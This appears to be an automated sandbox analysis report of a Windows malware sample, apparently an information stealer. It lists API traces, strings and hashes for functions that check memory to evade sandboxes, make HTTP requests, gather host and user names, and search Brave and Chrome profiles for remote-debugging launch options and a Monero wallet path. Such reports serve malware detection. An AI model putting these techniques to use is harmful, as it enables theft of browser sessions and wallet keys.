                                    control_flow_graph 1436 cd1220-cd1247 call ce8b40 GlobalMemoryStatusEx 1439 cd1249-cd1271 call cedd30 * 2 1436->1439 1440 cd1273-cd127a 1436->1440 1442 cd1281-cd1285 1439->1442 1440->1442 1444 cd129a-cd129d 1442->1444 1445 cd1287 1442->1445 1447 cd1289-cd1290 1445->1447 1448 cd1292-cd1294 ExitProcess 1445->1448 1447->1444 1447->1448
                                    APIs
                                    • GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00CD123E
                                    • __aulldiv.LIBCMT ref: 00CD1258
                                    • __aulldiv.LIBCMT ref: 00CD1266
                                    • ExitProcess.KERNEL32 ref: 00CD1294
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: __aulldiv$ExitGlobalMemoryProcessStatus
                                    • String ID: @
                                    • API String ID: 3404098578-2766056989
                                    • Opcode ID: 3baa98bf36bf6b5c478b44cd17184fb5f678b1415f163c74a3086bf97d62aab0
                                    • Instruction ID: 4ed5d6269fad9730675da5e8703087fd6747b22ab44d40de4ee88f7ba5395ae5
                                    • Opcode Fuzzy Hash: 3baa98bf36bf6b5c478b44cd17184fb5f678b1415f163c74a3086bf97d62aab0
                                    • Instruction Fuzzy Hash: 87016DF0D80308BBEF10EFE0CC4ABAEBB78AB14705F248449EB05B62C0D77556459769
                                    Function 00CE6D93 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 1450 ce6d93 1451 ce6daa 1450->1451 1453 ce6dac-ce6dc2 call ce6bc0 call ce5d60 CloseHandle ExitProcess 1451->1453 1454 ce6d5a-ce6d77 call ceade0 OpenEventA 1451->1454 1460 ce6d79-ce6d91 call ceade0 CreateEventA 1454->1460 1461 ce6d95-ce6da4 CloseHandle Sleep 1454->1461 1460->1453 1461->1451
                                    APIs
                                    • OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01598AA0,?,00CF10F4,?,00000000,?,00CF10F8,?,00000000,00CF0AF3), ref: 00CE6D6A
                                    • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00CE6D88
                                    • CloseHandle.KERNEL32(00000000), ref: 00CE6D99
                                    • Sleep.KERNEL32(00001770), ref: 00CE6DA4
                                    • CloseHandle.KERNEL32(?,00000000,?,01598AA0,?,00CF10F4,?,00000000,?,00CF10F8,?,00000000,00CF0AF3), ref: 00CE6DBA
                                    • ExitProcess.KERNEL32 ref: 00CE6DC2
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseEventHandle$CreateExitOpenProcessSleep
                                    • String ID:
                                    • API String ID: 941982115-0
                                    • Opcode ID: 72db537e32d1edf6b71fc714fc5fa00a9b809160ea6319d06519a29ba55da181
                                    • Instruction ID: 911b7d9d8dc187a7b0eda74cd48776a5d8e12034c60aa7f8ec0626b9641957f7
                                    • Opcode Fuzzy Hash: 72db537e32d1edf6b71fc714fc5fa00a9b809160ea6319d06519a29ba55da181
                                    • Instruction Fuzzy Hash: 6DF05870B5838DEFEB00BBA2DC0ABBE33B4AF24B81F504515B512A51D1CBB06700EA61
                                    Function 00CD4800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    APIs
                                    • lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00CD4889
                                    • InternetCrackUrlA.WININET(00000000,00000000), ref: 00CD4899
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CrackInternetlstrlen
                                    • String ID: <
                                    • API String ID: 1274457161-4251816714
                                    • Opcode ID: bb8dee7b5a91656d68d4516293476c83e7ac5bdcdf9c4d85d31cbb8d3ed14916
                                    • Instruction ID: f4395cbb84a07be0770a0fa8cf4fd1552038616a7fe1ed79bb2e75edcd2efeeb
                                    • Opcode Fuzzy Hash: bb8dee7b5a91656d68d4516293476c83e7ac5bdcdf9c4d85d31cbb8d3ed14916
                                    • Instruction Fuzzy Hash: B7216FB1D00208ABDF10EFA5EC46ADE7B74FB05320F108625F915A72D0EB706A09CF81
                                    Function 00CE5440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    APIs
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                      • Part of subcall function 00CD62D0: InternetOpenA.WININET(00CF0DFF,00000001,00000000,00000000,00000000), ref: 00CD6331
                                      • Part of subcall function 00CD62D0: StrCmpCA.SHLWAPI(?,0159E410), ref: 00CD6353
                                      • Part of subcall function 00CD62D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CD6385
                                      • Part of subcall function 00CD62D0: HttpOpenRequestA.WININET(00000000,GET,?,0159D9F8,00000000,00000000,00400100,00000000), ref: 00CD63D5
                                      • Part of subcall function 00CD62D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00CD640F
                                      • Part of subcall function 00CD62D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00CD6421
                                    • StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00CE5478
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
                                    • String ID: ERROR$ERROR
                                    • API String ID: 3287882509-2579291623
                                    • Opcode ID: 3369a59c356ae13cf288b40eeb39296d36dadb589898675dfaf7b45e8f89f4b1
                                    • Instruction ID: c7722eb54236cb3ed0f97013d5224cfcfb4d7e0ad2e6ba775d65154a08b9ab46
                                    • Opcode Fuzzy Hash: 3369a59c356ae13cf288b40eeb39296d36dadb589898675dfaf7b45e8f89f4b1
                                    • Instruction Fuzzy Hash: 4E113031900188AFCB14FFA5DDA2AED7739AF10340F414568F91A57592EF30BB04EA92
                                    Function 00CE7A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CE7AA0
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CE7AA7
                                    • GetComputerNameA.KERNEL32(?,00000104), ref: 00CE7ABF
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateComputerNameProcess
                                    • String ID:
                                    • API String ID: 1664310425-0
                                    • Opcode ID: f75ca8276fb5816ba786d38d672ddbff72014a3cc316694a95f202d9e9e6762c
                                    • Instruction ID: 88b7276b04ebfa1bc57e4a4c1a544d1e6d397fff7d7c9cd05aaff1b0edea4c24
                                    • Opcode Fuzzy Hash: f75ca8276fb5816ba786d38d672ddbff72014a3cc316694a95f202d9e9e6762c
                                    • Instruction Fuzzy Hash: 120186B1A08349ABC704DF99DD45FAFBBB8F705711F100229F615E3280D7745A009BA1
                                    Function 00CD1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00CD112B
                                    • VirtualAllocExNuma.KERNEL32(00000000), ref: 00CD1132
                                    • ExitProcess.KERNEL32 ref: 00CD1143
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Process$AllocCurrentExitNumaVirtual
                                    • String ID:
                                    • API String ID: 1103761159-0
                                    • Opcode ID: 54008b3bf36d49051bff69e2455917c65be96c62db939412cb4e0e6c84305797
                                    • Instruction ID: a0b46f287a327e8d6a21c80e86c12ccb6f8613287c233f75a65077635a2a18f5
                                    • Opcode Fuzzy Hash: 54008b3bf36d49051bff69e2455917c65be96c62db939412cb4e0e6c84305797
                                    • Instruction Fuzzy Hash: 56E0E6B0A4930CFBE7107B919D0AF4D7AA89B05B15F104156F709761D0C6B526406A59
                                    Function 00CD10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00CD10B3
                                    • VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00CD10F7
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Virtual$AllocFree
                                    • String ID:
                                    • API String ID: 2087232378-0
                                    • Opcode ID: 9499ea952ec36ef32f58b8cb594827823115a9103717f48c0647f626b65727d8
                                    • Instruction ID: b9e88548ac20905cb4cad612e0f28c07ce87685effdc99b8d7a0c2153faf2d7b
                                    • Opcode Fuzzy Hash: 9499ea952ec36ef32f58b8cb594827823115a9103717f48c0647f626b65727d8
                                    • Instruction Fuzzy Hash: 21F082B1641318BBE714AAA4AC59FAEB7E8E705B05F300449FA04E7280D571AF049BA4
                                    Function 00CD1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CE7A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CE7AA0
                                      • Part of subcall function 00CE7A70: RtlAllocateHeap.NTDLL(00000000), ref: 00CE7AA7
                                      • Part of subcall function 00CE7A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00CE7ABF
                                      • Part of subcall function 00CE79E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00CD11B7), ref: 00CE7A10
                                      • Part of subcall function 00CE79E0: RtlAllocateHeap.NTDLL(00000000), ref: 00CE7A17
                                      • Part of subcall function 00CE79E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00CE7A2F
                                    • ExitProcess.KERNEL32 ref: 00CD11C6
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$Process$AllocateName$ComputerExitUser
                                    • String ID:
                                    • API String ID: 3550813701-0
                                    • Opcode ID: 3882ed7cf8ee4c14069439913a046b431112176ebb37f7d6fc3bc2b450c48c66
                                    • Instruction ID: b3a7052cd644a53cdc36743b000ce1416d2eeac9371bb29bc40e0a009d72dec6
                                    • Opcode Fuzzy Hash: 3882ed7cf8ee4c14069439913a046b431112176ebb37f7d6fc3bc2b450c48c66
                                    • Instruction Fuzzy Hash: 14E012E5D0434567CA1073B67C07F1F328C5B5530AF040415FA18D2202FE25E9046175

                                    Non-executed Functions

                                    Function 00CDBE40 Relevance: 58.5, APIs: 26, Strings: 7, Instructions: 730fileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                    • FindFirstFileA.KERNEL32(00000000,?,00CF0B32,00CF0B2F,00000000,?,?,?,00CF1450,00CF0B2E), ref: 00CDBEC5
                                    • StrCmpCA.SHLWAPI(?,00CF1454), ref: 00CDBF33
                                    • StrCmpCA.SHLWAPI(?,00CF1458), ref: 00CDBF49
                                    • FindNextFileA.KERNEL32(000000FF,?), ref: 00CDC8A9
                                    • FindClose.KERNEL32(000000FF), ref: 00CDC8BB
                                    Strings
                                    • Brave, xrefs: 00CDC0E8
                                    • \Brave\Preferences, xrefs: 00CDC1C1
                                    • Preferences, xrefs: 00CDC104
                                    • --remote-debugging-port=9229 --profile-directory=", xrefs: 00CDC495
                                    • --remote-debugging-port=9229 --profile-directory=", xrefs: 00CDC3B2
                                    • Google Chrome, xrefs: 00CDC6F8
                                    • --remote-debugging-port=9229 --profile-directory=", xrefs: 00CDC534
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
                                    • String ID: --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$ --remote-debugging-port=9229 --profile-directory="$Brave$Google Chrome$Preferences$\Brave\Preferences
                                    • API String ID: 3334442632-1869280968
                                    • Opcode ID: 4f8ee7b63269e34bf79852211067773dfb6d86fafef9f4e537da78f56ab0aa78
                                    • Instruction ID: 1fe09add9f72990bd61a8cbe9390934ee1a7c57d52800f00f214823875ed3706
